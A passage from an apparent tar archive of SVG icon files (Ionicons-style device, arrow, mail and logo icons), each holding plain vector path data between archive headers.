0-10.1-6.8-6.9-12.1l60.5-101.7c2.9-4.9 4.5-10.6 4.5-16.3V80c0-1.4-.1-2.7-.2-4h72.7c-.2 1.3-.2 2.6-.2 4v77.9c0 5.8 1.6 11.5 4.6 16.4l60.4 101.6c3.2 5.3-.7 12.1-6.9 12.1H161.8z"/></svg>collection/icon/svg/ios-sad.svg000064400000001073151701353760012517 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256c0 114.7 93.3 208 208 208 114.9 0 208-93.1 208-208 0-114.7-93.3-208-208-208zm-73.9 152.1c14.8-1.2 27 11.1 25.9 25.9-.9 11.6-10.3 21.1-22 22-14.8 1.2-27-11.1-25.9-25.9.9-11.7 10.3-21.1 22-22zm-.7 151.9c-11.5 0-19.3-11.8-14.7-22.4 15-34.5 49.2-58.6 89.3-58.6s74.2 24.1 89.3 58.6c4.6 10.6-3.1 22.4-14.7 22.4 0 0-34.7-4-73.1-4-38.5 0-76.1 4-76.1 4zm148.5-104.1c-14.8 1.2-27-11.1-25.9-25.9.9-11.6 10.3-21.1 22-22 14.8-1.2 27 11.1 25.9 25.9-.9 11.7-10.3 21.1-22 22z"/></svg>collection/icon/svg/md-lock.svg000064400000000664151701353760012513 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 186h-20v-40c0-55-45-100-100-100S156 91 156 146v40h-20c-22.002 0-40 17.998-40 40v200c0 22.002 17.998 40 40 40h240c22.002 0 40-17.998 40-40V226c0-22.002-17.998-40-40-40zM256 368c-22.002 0-40-17.998-40-40s17.998-40 40-40 40 17.998 40 40-17.998 40-40 40zm62.002-182H193.998v-40c0-34.004 28.003-62.002 62.002-62.002 34.004 0 62.002 27.998 62.002 62.002v40z"/></svg>collection/icon/svg/ios-thumbs-up.svg000064400000001657151701353760013704 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M431.3 388.8c7.5-6.3 16.7-16.1 16.7-31.4 0-13.7-5.7-22.8-10.9-29.1-.6-1.2-1.1-2.3-1.6-3.4l-.2-1.1c-.7-3.5 0-7.1 2-10 3.4-5 5.8-12.3 5.8-25.7 0-11.6-4.8-18.4-9.7-23.2-4.4-4.3-6.1-12.5-4.1-18.3 4.8-13.9.2-28.4-8.2-37.8-10.5-11.8-20.3-13.2-46.4-11.7-18 1.1-55.5 6.9-80.2 10.8-10.1 1.6-18.9 3-21.6 3.2-12.7 1.3-15.2 0-16.4-4.9-.5-2.1 1.9-6.9 4.9-13 4-8.1 9.5-19.2 14.5-35.8 10.1-33.2 9-69.2-2.7-90.2-5.5-9.9-14.8-19.1-26.3-19.1S223.6 50.5 219 56c-3.4 4-2.3 11.6-6.2 26.8-3.1 12.4-7 30.9-12 42-7.5 16.6-39.7 45.1-57 60.4-4.1 3.6-7.6 6.7-10.1 9.1-8.7 8.1-17.6 21.1-25.5 32.7-5.4 7.8-10.4 15.2-13.7 18.5-7.1 7.1-16.6 10.9-22.3 10.9-4.4 0-8 3.6-8 8v159.5c0 4.6 3.7 8.3 8.3 8.3 35.5 0 50.5 5.8 66.4 11.8 12.2 4.7 24.9 9.5 46.4 12.1 32.4 4 74.2 8.1 112.6 8.1 20.4 0 39.9-2 56.6-3.9 31-3.6 64.2-10.8 75.2-37 4.1-9.7 2.2-17.6-.5-23.7-.4-.8-.7-1.7-.8-2.6-.6-3.3.6-6.3 2.9-8.2z"/></svg>collection/icon/svg/ios-phone-landscape.svg000064400000001007151701353760015006 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 176.3v158.5c0 18.3 14.6 33.1 32.9 33.1h381c18.4 0 34.1-14.8 34.1-33.1V176.3c0-18.3-15.7-32.3-34.1-32.3h-381C46.6 144 32 158 32 176.3zM55 271v-30c0-2.2 1.8-4 4-4s4 1.8 4 4v30c0 2.2-1.8 4-4 4s-4-1.8-4-4zm414-15.5c0 9.6-7.8 17.4-17.4 17.4-9.6 0-17.4-7.8-17.4-17.4 0-9.6 7.8-17.4 17.4-17.4 9.6 0 17.4 7.8 17.4 17.4zM424 160v192H83V160h341z"/><path d="M441.6 255.5c0 5.5 4.5 10 9.9 10 5.5 0 10-4.5 10-10s-4.5-10-10-10c-5.4.1-9.9 4.5-9.9 10z"/></svg>collection/icon/svg/ios-phone-portrait.svg000064400000000741151701353760014724 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M335.7 32H177.1C158.8 32 144 46.6 144 64.9v381c0 18.4 14.8 34.1 33.1 34.1h158.5c18.3 0 32.3-15.7 32.3-34.1v-381C368 46.6 354 32 335.7 32zM241 55h30c2.2 0 4 1.8 4 4s-1.8 4-4 4h-30c-2.2 0-4-1.8-4-4s1.8-4 4-4zm15.5 410c-9.6 0-17.4-7.8-17.4-17.4 0-9.6 7.8-17.4 17.4-17.4 9.6 0 17.4 7.8 17.4 17.4 0 9.6-7.8 17.4-17.4 17.4zm93.5-49H162c-1.1 0-2-.9-2-2V85c0-1.1.9-2 2-2h188c1.1 0 2 .9 2 2v329c0 1.1-.9 2-2 2z"/></svg>collection/icon/svg/logo-markdown.svg000064400000000653151701353760013743 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M447.659 96H64.341C46.504 96 32 110.484 32 128.308v255.349C32 401.493 46.504 416 64.341 416h383.318C465.496 416 480 401.493 480 383.656V128.308C480 110.484 465.496 96 447.659 96zM284.023 352h-56.048v-96l-42.04 53.878L143.913 256v96H87.869V160h56.044l42.022 67.98 42.04-67.98h56.048v192zm83.657 0l-69.635-96h42v-96h56.043v96h42.027l-70.453 96h.018z"/></svg>collection/icon/svg/ios-build.svg000064400000001375151701353760013054 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M441.1 131.1l-44.9 45.1c-.9.9-2.3 1.3-3.5 1.1l-46.4-8.4c-1.6-.3-2.9-1.6-3.2-3.2l-8.3-46.4c-.2-1.3.2-2.6 1.1-3.5l44.8-45c3.5-3.5 3-9.3-1-12.1-10.1-7.2-22.1-10.7-31.8-10.7-.7 0-1.4 0-2 .1-12.5.7-39.3 7.7-60 29.7-20.1 21.2-41.1 60.6-22.5 104.5 2.2 5.3 4.7 12.3-2.7 19.7C253.1 209.4 61 390.3 61 390.3c-18 15.5-16.7 44.2-.1 60.9 8.5 8.4 20 12.8 31.3 12.8 11.1 0 21.9-4.2 29.6-13.1 0 0 179.4-191.1 188.2-199.8 4-3.9 7.7-5.1 11.1-5.1 3.3 0 6.3 1.2 8.6 2.4 9.9 5.1 21 7.4 32.4 7.4 26.8 0 55-12.4 72.2-29.6 24.4-24.4 28.9-48 29.6-60.1.6-9.9-2.2-22.6-10.7-34.2-2.9-3.8-8.6-4.2-12.1-.8zM102.5 429.3c-5.5 5.4-14.4 5.4-19.9 0-5.4-5.5-5.4-14.4 0-19.9 5.5-5.4 14.4-5.4 19.9 0 5.4 5.6 5.4 14.5 0 19.9z"/></svg>collection/icon/svg/ios-create.svg000064400000001341151701353760013211 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M404.3 86l-202 202c-1.5 1.5-2.3 3.5-2.3 5.6v26.5c0 4.4 3.6 7.9 7.9 7.9h26.3c2.1 0 4.2-.8 5.7-2.3l202.1-202c3.1-3.1 3.1-8.1 0-11.2L415.5 86c-3.1-3.1-8.1-3.1-11.2 0zM475.6 67l-14.4-14.4-.2-.2c-3.1-2.7-7.2-4.4-11.5-4.4-4.4 0-8.5 1.7-11.6 4.5l-11.3 11.4c-1.5 1.6-1.5 4.1 0 5.6L437 79.9l21.7 21.7c1.6 1.6 4.1 1.6 5.7 0l11.3-11.3c2.8-3.1 4.4-7.1 4.4-11.6-.1-4.4-1.7-8.6-4.5-11.7z"/><g><path d="M250 342c-3 3-7.1 4.7-11.3 4.7H197.3c-8.8 0-16-7.2-16-16V289.2c0-4.2 1.7-8.3 4.7-11.3l.8-.8 147.6-147.6c2.5-2.5.7-6.8-2.8-6.8H90.7C58.3 122.7 32 149 32 181.4v224c0 32.4 26.3 58.7 58.7 58.7h256c32.4 0 58.7-26.3 58.7-58.7v-209c0-3.6-4.3-5.3-6.8-2.8L250.8 341.2l-.8.8z"/></g></svg>collection/icon/svg/ios-arrow-forward.svg000064400000000373151701353760014546 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M294.1 256L167 129c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.3 34 0L345 239c9.1 9.1 9.3 23.7.7 33.1L201.1 417c-4.7 4.7-10.9 7-17 7s-12.3-2.3-17-7c-9.4-9.4-9.4-24.6 0-33.9l127-127.1z"/></svg>collection/icon/svg/ios-tablet-landscape.svg000064400000000726151701353760015157 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M39 103c-4.5 4.5-7 10.6-7 16.9V392c0 6.4 2.5 12.4 7 16.9 4.5 4.5 10.6 7 16.9 7H456c6.4 0 12.4-2.5 16.9-7 4.5-4.5 7-10.6 7-16.9V119.9c0-6.4-2.5-12.4-7-16.9-4.5-4.5-10.6-7-16.9-7H55.9c-6.3 0-12.4 2.5-16.9 7zm9.7 153.4c0-3.9 3.1-7 7-7s7 3.1 7 7-3.1 7-7 7c-3.8 0-7-3.2-7-7zM470 256c0 7.7-6.5 14-14.1 14-7.5 0-14-6.2-14-14 0-7.7 6.4-14.1 14-14.1 7.6.1 14.1 6.4 14.1 14.1zm-38-144v288H80V112h352z"/></svg>collection/icon/svg/logo-facebook.svg000064400000000544151701353760013671 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M426.8 64H85.2C73.5 64 64 73.5 64 85.2v341.6c0 11.7 9.5 21.2 21.2 21.2H256V296h-45.9v-56H256v-41.4c0-49.6 34.4-76.6 78.7-76.6 21.2 0 44 1.6 49.3 2.3v51.8h-35.3c-24.1 0-28.7 11.4-28.7 28.2V240h57.4l-7.5 56H320v152h106.8c11.7 0 21.2-9.5 21.2-21.2V85.2c0-11.7-9.5-21.2-21.2-21.2z"/></svg>collection/icon/svg/ios-jet.svg000064400000000521151701353760012527 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 48s-19.8 1.4-53.1 27.2c-15.5 12-162.2 120.6-162.2 120.6L89 187.9l-41 36.5 102 51.2-8 10.1-81.6 4.1-6.7 33.6 60.6 47.2-26.7 53.6 53.7-26.5 47.3 60.6 33.6-6.7 4.1-81.6 10.1-7.9L287.6 464l36.5-40.9-7.9-159.7s108.6-146.7 120.6-162C462.7 67.8 464 48 464 48z"/></svg>collection/icon/svg/md-arrow-dropleft-circle.svg000064400000000307151701353760015763 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 256c0-114.875-93.125-208-208-208S48 141.125 48 256s93.125 208 208 208 208-93.125 208-208zm-272 0l96-96v192l-96-96z"/></svg>collection/icon/svg/ios-arrow-up.svg000064400000000401151701353760013516 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 217.9L383 345c9.4 9.4 24.6 9.4 33.9 0 9.4-9.4 9.3-24.6 0-34L273 167c-9.1-9.1-23.7-9.3-33.1-.7L95 310.9c-4.7 4.7-7 10.9-7 17s2.3 12.3 7 17c9.4 9.4 24.6 9.4 33.9 0l127.1-127z"/></svg>collection/icon/svg/ios-videocam.svg000064400000000620151701353760013534 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450.6 153.6c-3.3 0-6.5.9-9.3 2.7l-86.5 54.6c-2.5 1.6-4 4.3-4 7.2v76c0 2.9 1.5 5.6 4 7.2l86.5 54.6c2.8 1.7 6 2.7 9.3 2.7h20.8c4.8 0 8.6-3.8 8.6-8.5v-188c0-4.7-3.9-8.5-8.6-8.5h-20.8zM273.5 384h-190C55.2 384 32 360.8 32 332.6V179.4c0-28.3 23.2-51.4 51.4-51.4h190c28.3 0 51.4 23.2 51.4 51.4v153.1c.1 28.3-23 51.5-51.3 51.5z"/></svg>collection/icon/svg/md-mail-unread.svg000064400000000573151701353760013760 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="432" cy="128" r="64"/><path d="M382.9 203.4L256 288 80 170.7V128l176 117.3 101.1-67.4c-9.5-14.3-15.1-31.5-15.1-49.9 0-17.6 5.1-34.1 13.9-48H74.7C51.2 80 32 99.2 32 122.7v266.7c0 23.5 19.2 42.7 42.7 42.7h362.7c23.5 0 42.7-19.2 42.7-42.7V204.1c-13.9 8.8-30.4 13.9-48 13.9-18.2 0-35.1-5.4-49.2-14.6z"/></svg>collection/icon/svg/ios-calculator.svg000064400000001547151701353760014107 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M372 48H140c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h232c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32zm-12 272v80c0 13.3-10.7 24-24 24s-24-10.7-24-24v-80c0-13.3 10.7-24 24-24s24 10.7 24 24zm0-80c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm-80 160c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm0-80c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm0-80c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm-80 160c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm0-80c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm0-80c0 13.3-10.7 24-24 24s-24-10.7-24-24 10.7-24 24-24 24 10.7 24 24zm-48-80v-48c0-8.8 7.2-16 16-16h176c8.8 0 16 7.2 16 16v48c0 8.8-7.2 16-16 16H168c-8.8 0-16-7.2-16-16z"/></svg>collection/icon/svg/ios-rocket.svg000064400000001555151701353760013244 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M461.8 53.6c-.4-1.7-1.6-3-3.3-3.4-54.4-13.3-180.1 34.1-248.2 102.2-13.3 13.3-24.2 26.4-33.1 39.1-21-1.9-42-.3-59.9 7.5-50.5 22.2-65.2 80.2-69.3 105.1-1 5.9 3.9 11 9.8 10.4l81.1-8.9c.1 7.8.6 14 1.1 18.3.4 4.2 2.3 8.1 5.3 11.1l31.4 31.4c3 3 6.9 4.9 11.1 5.3 4.3.5 10.5 1 18.2 1.1l-8.9 81c-.6 5.9 4.5 10.8 10.4 9.8 24.9-4 83-18.7 105.1-69.2 7.8-17.9 9.4-38.8 7.6-59.7 12.7-8.9 25.9-19.8 39.2-33.1 68.4-68 115.5-190.9 102.4-248zM298.6 213.5c-16.7-16.7-16.7-43.7 0-60.4 16.7-16.7 43.7-16.7 60.4 0 16.7 16.7 16.7 43.7 0 60.4-16.7 16.7-43.7 16.7-60.4 0z"/><path d="M174.5 380.5c-4.2 4.2-11.7 6.6-19.8 8-18.2 3.1-34.1-12.8-31-31 1.4-8.1 3.7-15.6 7.9-19.7l.1-.1c2.3-2.3.4-6.1-2.8-5.7-9.8 1.2-19.4 5.6-26.9 13.1-18 18-19.7 84.8-19.7 84.8s66.9-1.7 84.9-19.7c7.6-7.6 11.9-17.1 13.1-26.9.3-3.2-3.6-5.1-5.8-2.8z"/></svg>collection/icon/svg/md-checkmark-circle.svg000064400000000362151701353760014745 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.6 48 48 141.6 48 256s93.6 208 208 208 208-93.6 208-208S370.4 48 256 48zm-42.7 318.9L106.7 260.3l29.9-29.9 76.8 76.8 162.1-162.1 29.9 29.9-192.1 191.9z"/></svg>collection/icon/svg/md-clock.svg000064400000002645151701353760012657 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.1 108.9c-81.2-81.2-212.9-81.2-294.2 0-81.3 81.2-81.2 212.9 0 294.2 81.2 81.2 212.9 81.2 294.2 0 81.2-81.2 81.2-213 0-294.2zm-16.5 53.2c7.6-4.4 17.5-1.8 21.9 5.9 4.4 7.6 1.8 17.5-5.9 21.9-7.6 4.4-17.5 1.8-21.9-5.9-4.4-7.6-1.8-17.5 5.9-21.9zM80 256c0-8.8 7.2-16 16-16s16 7.2 16 16-7.2 16-16 16-16-7.2-16-16zm45.4 93.9c-7.6 4.4-17.5 1.8-21.9-5.9-4.4-7.6-1.8-17.5 5.9-21.9 7.6-4.4 17.5-1.8 21.9 5.9 4.4 7.6 1.8 17.5-5.9 21.9zm5.9-165.9c-4.4 7.6-14.2 10.3-21.9 5.9-7.6-4.4-10.3-14.2-5.9-21.9 4.4-7.6 14.2-10.3 21.9-5.9 7.7 4.4 10.3 14.3 5.9 21.9zm36.7-80.4c7.6-4.4 17.5-1.8 21.9 5.9 4.4 7.6 1.8 17.5-5.9 21.9s-17.5 1.8-21.9-5.9c-4.4-7.7-1.7-17.5 5.9-21.9zm-7.8 110.7l15.6-26.6 95.2 56.9V384h-31V260.6l-79.8-46.3zm29.7 188.3c-4.4 7.6-14.2 10.3-21.9 5.9s-10.3-14.2-5.9-21.9c4.4-7.6 14.2-10.3 21.9-5.9 7.6 4.4 10.3 14.2 5.9 21.9zM256 432c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-320c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm88 296.4c-7.6 4.4-17.5 1.8-21.9-5.9-4.4-7.6-1.8-17.5 5.9-21.9 7.6-4.4 17.5-1.8 21.9 5.9 4.4 7.7 1.7 17.5-5.9 21.9zm5.9-283c-4.4 7.6-14.2 10.3-21.9 5.9s-10.3-14.2-5.9-21.9c4.4-7.6 14.2-10.3 21.9-5.9s10.3 14.3 5.9 21.9zM408.4 344c-4.4 7.6-14.2 10.3-21.9 5.9-7.6-4.4-10.3-14.2-5.9-21.9 4.4-7.6 14.2-10.3 21.9-5.9 7.7 4.4 10.3 14.3 5.9 21.9zm7.6-72c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"/></svg>collection/icon/svg/md-image.svg000064400000000475151701353760012645 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 405.333V106.667C448 83.198 428.802 64 405.333 64H106.667C83.198 64 64 83.198 64 106.667v298.666C64 428.802 83.198 448 106.667 448h298.666C428.802 448 448 428.802 448 405.333zM181.333 288l53.334 64 74.666-96 96 128H106.667l74.666-96z"/></svg>collection/icon/svg/md-mail-open.svg000064400000000515151701353760013437 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 201.667c0-14.933-7.469-28.803-20.271-36.266L256 64 52.271 165.401C40.531 172.864 32 186.734 32 201.667v203.666C32 428.802 51.197 448 74.666 448h362.668C460.803 448 480 428.802 480 405.333V201.667zM256 304L84.631 192 256 106.667 427.369 192 256 304z"/></svg>collection/icon/svg/ios-laptop.svg000064400000000740151701353760013247 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 367.5V129.1c0-9.4-7.9-17.1-17.2-17.1H81.2c-9.3 0-17.2 7.6-17.2 17.1v238.4H15.9c0 9.9 9.9 18.8 18.9 22.7C45.7 394.8 64 400 84 400h344c20 0 38.2-4.5 48.3-8.8 9.5-4 19.8-13.4 19.8-23.7H448zM256 120c2.2 0 4 1.8 4 4s-1.8 4-4 4-4-1.8-4-4 1.8-4 4-4zM82 136.2h348c1.1 0 2 .9 2 2v211.3c0 1.1-.9 2-2 2H82c-1.1 0-2-.9-2-2V138.2c0-1.2.9-2 2-2zm216.3 239.3h-84.6c-5.2 0-9.7-6-9.7-7.5h104c0 1.5-3 7.5-9.7 7.5z"/></svg>collection/icon/svg/ios-document.svg000064400000000527151701353760013571 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M312 155h91c2.8 0 5-2.2 5-5 0-8.9-3.9-17.3-10.7-22.9L321 63.5c-5.8-4.8-13-7.4-20.6-7.4-4.1 0-7.4 3.3-7.4 7.4V136c0 10.5 8.5 19 19 19z"/><path d="M267 136V56H136c-17.6 0-32 14.4-32 32v336c0 17.6 14.4 32 32 32h240c17.6 0 32-14.4 32-32V181h-96c-24.8 0-45-20.2-45-45z"/></svg>collection/icon/svg/ios-appstore.svg000064400000001563151701353760013611 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm-78.9 296.9c-2.7 4.6-7.5 7.1-12.5 7.1-2.5 0-5-.6-7.3-2-6.9-4-9.2-12.8-5.2-19.7l14.2-23.6c1.5-2.5 4.1-4 7-4h2.1c10.3 0 17.5 6.2 19.6 12.2l-17.9 30zm120.2-46.4l-93 .1h-61.8c-8.2 0-14.8-6.8-14.4-15 .3-7.8 7.1-13.7 14.9-13.7h44.8l53.1-90.4-17.2-29.3c-3.9-6.7-2.2-15.5 4.4-19.7 7-4.5 16.2-2.2 20.3 4.8l9.2 15.7h.1l9.2-15.7c4.1-7 13.4-9.3 20.3-4.8 6.6 4.2 8.3 13 4.4 19.7l-17.2 29.3-16.7 28.5-36.3 61.9v.1h53.5c6.7 0 15.1 3.6 18.5 9.4l.3.6c3 5.1 4.7 8.6 4.7 13.7-.1 2.8-1.1 4.8-1.1 4.8zm72.2.1h-25.2v.1l18.4 31.3c4 6.8 2.1 15.8-4.8 20-2.3 1.4-4.9 2.1-7.5 2.1-5 0-9.8-2.6-12.5-7.1l-27.2-46.3-16.9-28.8-21.8-37.3c-6.4-10.9-6.7-24.5-.6-35.3 4.3-7.6 7.6-9.6 7.6-9.6l48.5 82.1h41.7c7.8 0 14.5 6 14.9 13.7.3 8.3-6.3 15.1-14.6 15.1z"/></svg>collection/icon/svg/md-move.svg000064400000000276151701353760012530 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 256l-96-96v64h-96v-96h64l-96-96-96 96h64v96h-96v-64l-96 96 96 96v-64h96v96h-64l96 96 96-96h-64v-96h96v64z"/></svg>collection/icon/svg/ios-contacts.svg000064400000002602151701353760013565 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm143.3 263.9c-8.1-2.6-23.7-3.4-29.5-10.4-2.9-3.5-1-16.6-1-16.6 25.2-1.4 31-6.1 31-6.1 3.9-2.3 2.1-2.7.1-6.1-10.9-18.3-6-41.5-6.5-61.6-.4-16.7-4.8-35-20-44.4-7.6-4.7-19.7-6.9-31.4-6.9-9.5 0-18.7 1.4-25.3 4.1-42.4 17-17.4 73.2-31.9 105.4-2.5 5.4-6.1 7.3.2 10.5 0 0 7.5 4.4 28.9 6.3 0 0 .3 12.6 0 13.9-1.1 4.9-11.8 8.3-15.8 9.4-2.7.7-8.7 2.5-16.4 5.7-3.7 1.5-3.1 6.9.8 7.6 3.9.7 8.1 1.7 11.5 2.9 0 0 26.4 6 46 25 13.2 12.7 18.1 27.6 20 44.6.5 4.5-1.7 8.9-5.5 11.5l-5.7 3.6c-1.9 1.1-4.2-.2-4.3-2.4 0-29.5-17.8-55.5-45.8-65.2-13.5-4.7-28.1-5-41.6-9.7-4.1-1.4-12.2-3.1-13.9-7.8-1.6-4.6-1.6-10-1.9-14.8-.2-3.8-.3-7.6-.3-11.4 0-2.5 6.4-7.8 7.8-10.1 5.4-9 5.9-21.1 6.9-31.3 8.7 2.4 9.8-13.7 11.3-18.6 1.1-3.4 5-20.9-2.6-23.6 2.5-4.4 3.5-9.8 4.2-14.7 2-12.8 2.8-26.8-1.1-39.3-8.1-26-33-40.6-59.3-41.4-26.7-.9-53.5 11.9-63.5 37.8-4.8 12.6-4.4 26.3-2.8 39.5.7 6 1.7 12.7 4.7 18.1-6.4 2.8-4.5 17.7-3.4 21.3 1.6 5.1 3 23.4 12.1 20.9.8 8.1 1.7 16.4 3.9 24.3 1.5 5.3 4.6 9.8 8.2 13.9 1.8 2 2.7 2.2 2.6 4.8-.1 7.8.1 16.2-1.9 23.8s-18.7 10.8-25.4 12.2c-14.8 3-28.6 4.7-41.4 11.5C84.8 320.6 76 289 76 256c0-47.9 19.2-94 53.2-127.7C162.7 95 207.1 76.4 254.3 76c47.6-.4 93.7 18.1 127.8 51.5 34.8 34.1 54 79.9 54 128.5 0 24.9-5 48.9-14.5 71.1-5.6-7-13.4-12.3-22.3-15.2z"/></svg>collection/icon/svg/md-photos.svg000064400000000654151701353760013076 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M400 421.3V154.7c0-23.5-19.2-42.7-42.7-42.7H90.7C67.2 112 48 131.2 48 154.7v266.7c0 23.5 19.2 42.7 42.7 42.7h266.7c23.4-.1 42.6-19.3 42.6-42.8zM157.3 304l45.3 64 66.7-96 88 128H90.7l66.6-96z"/><path d="M421.3 48H154.7C131.2 48 112 67.2 112 90.7V96h261.3c23.5 0 42.7 19.2 42.7 42.7V400h5.3c23.5 0 42.7-19.2 42.7-42.7V90.7c0-23.5-19.2-42.7-42.7-42.7z"/></svg>collection/icon/svg/ios-arrow-back.svg000064400000000401151701353760013772 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M217.9 256L345 129c9.4-9.4 9.4-24.6 0-33.9-9.4-9.4-24.6-9.3-34 0L167 239c-9.1 9.1-9.3 23.7-.7 33.1L310.9 417c4.7 4.7 10.9 7 17 7s12.3-2.3 17-7c9.4-9.4 9.4-24.6 0-33.9L217.9 256z"/></svg>collection/icon/svg/ios-medal.svg000064400000001547151701353760013040 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M50 124c-1.1 0-2 .9-2 2v59.9c0 14.4 9.6 27 23.4 30.8l104 29.4c1.3.4 2.5-.6 2.5-1.9V126c0-1.1-.9-2-2-2H50zM204 126v126.2c0 .9.6 1.7 1.5 1.9l50 13.9c.4.1.7.1 1.1 0l56-15.6c.9-.2 1.5-1 1.5-1.9V126c0-1.1-.9-2-2-2H206c-1.1 0-2 .9-2 2zM334 126v119.2c0 1.3 1.3 2.3 2.6 1.9l104-30.4c13.8-3.9 23.4-16.5 23.4-30.8V126c0-1.1-.9-2-2-2H336c-1.1 0-2 .9-2 2zM48 64v38c0 1.1.9 2 2 2h412c1.1 0 2-.9 2-2V64c0-17.7-14.3-32-32-32H80c-17.7 0-32 14.3-32 32z"/><g><circle cx="256" cy="352" r="56"/><path d="M351.3 266.6l-51.5 13.8c24 14.8 40.1 41.3 40.1 71.6 0 46.3-37.7 84-84 84s-84-37.7-84-84c0-30.4 16.2-57 40.4-71.8L161 266.1c-20.5 22.7-33 52.8-33 85.9 0 70.7 57.3 128 128 128s128-57.3 128-128c0-32.8-12.4-62.7-32.7-85.4z"/><path d="M256 296c30.9 0 56 25.1 56 56s-25.1 56-56 56-56-25.1-56-56 25.1-56 56-56z"/></g></svg>collection/icon/svg/ios-image.svg000064400000001221151701353760013025 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M112.6 312.3h190.7c4.5 0 7.1-5.1 4.5-8.8l-95.4-153.4c-2.2-3.2-6.9-3.2-9.1 0L108 303.5c-2.6 3.7.1 8.8 4.6 8.8zM306.7 254.3l35 55.7c1 1.5 2.7 2.4 4.5 2.4h53.2c4.5 0 7.1-5.1 4.5-8.8l-61.6-87.7c-2.2-3.2-6.9-3.2-9.1 0L306.6 248c-1.2 1.8-1.2 4.3.1 6.3zM351.1 167.9c13.1-1.3 23.7-11.9 25-25 1.8-17.7-13-32.5-30.7-30.7-13.1 1.3-23.7 11.9-25 25-1.7 17.7 13 32.5 30.7 30.7z"/><path d="M432 48H80c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h352c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32zm-2.7 280c0 4.4-3.6 8-8 8H90.7c-4.4 0-8-3.6-8-8V90.7c0-4.4 3.6-8 8-8h330.7c4.4 0 8 3.6 8 8V328z"/></svg>collection/icon/svg/md-text.svg000064400000000407151701353760012542 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M408 64H96c-22.002 0-32 17.998-32 40v344l64-64h280c22.002 0 40-17.998 40-40V104c0-22.002-17.998-40-40-40zM198.4 242H160v-40h38.4v40zm76.8 0h-38.4v-40h38.4v40zm76.8 0h-38.4v-40H352v40z"/></svg>collection/icon/svg/ios-return-left.svg000064400000001026151701353760014215 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M70.5 265.4l59.6-59.4c2.6-2.6 6.1-4.1 9.9-4.1 3.7 0 7.3 1.4 9.9 4.1 2.6 2.6 4.1 6.1 4.1 9.9s-1.5 7.3-4.1 9.9l-.1.1-41.1 40.1H370c13.2 0 25.8-5.2 35.3-14.7 9.5-9.4 14.7-21.9 14.7-35.3v-48c0-7.7 6.3-14 14-14s14 6.3 14 14v48c0 20.8-8.1 40.3-22.9 55.1-14.8 14.8-34.3 22.9-55.1 22.9H108.3l39.6 